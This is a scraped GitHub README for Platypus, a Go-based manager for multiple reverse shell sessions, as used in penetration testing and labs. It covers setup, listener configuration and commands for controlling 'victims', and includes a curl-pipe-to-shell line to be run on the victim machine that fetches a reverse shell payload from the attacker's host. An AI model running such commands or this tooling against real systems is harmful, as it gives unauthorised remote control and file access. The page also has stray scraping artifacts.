8000 GitHub - WangYihang/Platypus at v1.3.4
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content

WangYihang/Platypus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigat 8000 ion

Platypus

Travis-CI GitHub stars GitHub license GitHub Release Downloads

A modern multiple reverse shell sessions/clients manager via terminal written in go

Features

  • Multiple service listening port
  • Multiple client connections
  • RESTful API
  • Python SDK
  • Reverse shell as a service (Pop a reverse shell in multiple languages without remembering idle commands)
  • Download/Upload file with progress bar
  • Full interactive shell
    • Using vim gracefully in reverse shell
    • Using CTRL+C and CTRL+Z in reverse shell
  • Start servers automatically
  • Initialize from configuration file

Get Start

There are multiple ways to run this tool, feel free to choose one of the following method.

Run Platypus from source code

git clone https://github.com/WangYihang/Platypus
cd Platypus
go run platypus.go

Run Platypus from release binaries

  1. Download Platypus prebuild binary from HERE
  2. Run the downloaded executable file

Usage

Network Topology

  • Attack IP: 192.168.88.129
    • Reverse Shell Service: 0.0.0.0:1337
    • Reverse Shell Service: 0.0.0.0:1338
    • RESTful Service: 127.0.0.1:7331
  • Victim IP: 192.168.88.130

Give it a try

First, run ./Platypus, then the config.yml will be generated automatically, and the config file is simple enough.

servers: 
  - host: "0.0.0.0"
    port: 1337
    #ย Platypusย isย ableย toย useย severalย propertiesย asย uniqueย identifierย (primiraryย key)ย ofย aย singleย client.
    #ย Allย availableย propertiesย areย listedย below:
    #ย `%i`ย IP
    #ย `%u`ย Username
    #ย `%m`ย MACย address
    #ย `%o`ย Operatingย System
    #ย `%t`ย Income TimeStamp
    hashFormat: "%i %u %m %o"
  - host: "0.0.0.0"
    port: 1338
    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
    hashFormat: "%i %u %m %o %t"
restful:
  host: "127.0.0.1"
  port: 7331
  enable: true
# Check new releases from GitHub when starting Platypus
update: false

As you can see, platypus will check for updates, then start listening on port 1337, 1338 and 7331

The three port have different aims.

  • 1337 Reverse shell server, which disallows the reverse session comes from the IP.
  • 1338 Reverse shell server, which allows the reverse session comes from the IP.
  • 7331 Platypus RESTful API EndPoint, which allows you to manipulate Platypus through HTTP protocol or Python SDK.

If you want another reverse shell listening port, just type Run 0.0.0.0 1339 or modify the config.yml.

Also, platypus will print help information about RaaS which release you from remembering tedious reverse shell commands.

With platypus, all you have to do is just copy-and-paste the curl command and execute it on the victim machine.

curl http://127.0.0.1:1337/|sh
curl http://192.168.88.129:1337/|sh

Now, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.

Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.

Controlling the victim

List all victims

You can use List command to print table style infomation about all listening servers and connected clients. Notice that the port 1337 will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in config.yml). Port 1338 will not reset such connections, which provide more repliability.

Select a victim

Jump command can take you a tour between clients. Use Jump [HASH / Alias] to jump. Alias is a alias of a specific client, you can set a alias of a client via Alias [ALIAS]. Also, for jumping through HASH, you do not need to type the whole hash, just prefix of hash will work.

All commands are case insensitive, feel free to use tab for completing.

Interactive shell

Interact will popup a shell, just like netcat.

Download file

Use Download command to download file from reverse shell client to attacker's machine.

Upload file

Use Upload command to upload file to the current interacting client.

Interactive shell mode

Try to Spawn /bin/bash via Python, then the shell is fully interactive (You can use vim / htop and other stuffs). First use Jump to select a client, then type PTY, then type Interact to drop into a fully interactive shell. You can just simply type exit to exit pty mode.

Advanced Usages

  • Reverse shell as a Service (RaaS)
  • RESTful API
  • Python SDK

Using VIM in Reverse Shell (Only on Linux)

Demonstration is to be done.

Other Materials

TODOs

Contributors

This project exists thanks to all the people who contribute.

Backers

Thank you to all our backers! ๐Ÿ™ [Become a backer]

Sponsors

Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [Become a sponsor]

About

๐Ÿ”จ A modern multiple reverse shell sessions manager written in go

Topics

Resources

License

Security policy

Stars

Watchers

Forks

Sponsor this project

Packages

 
 
 

Contributors 14

0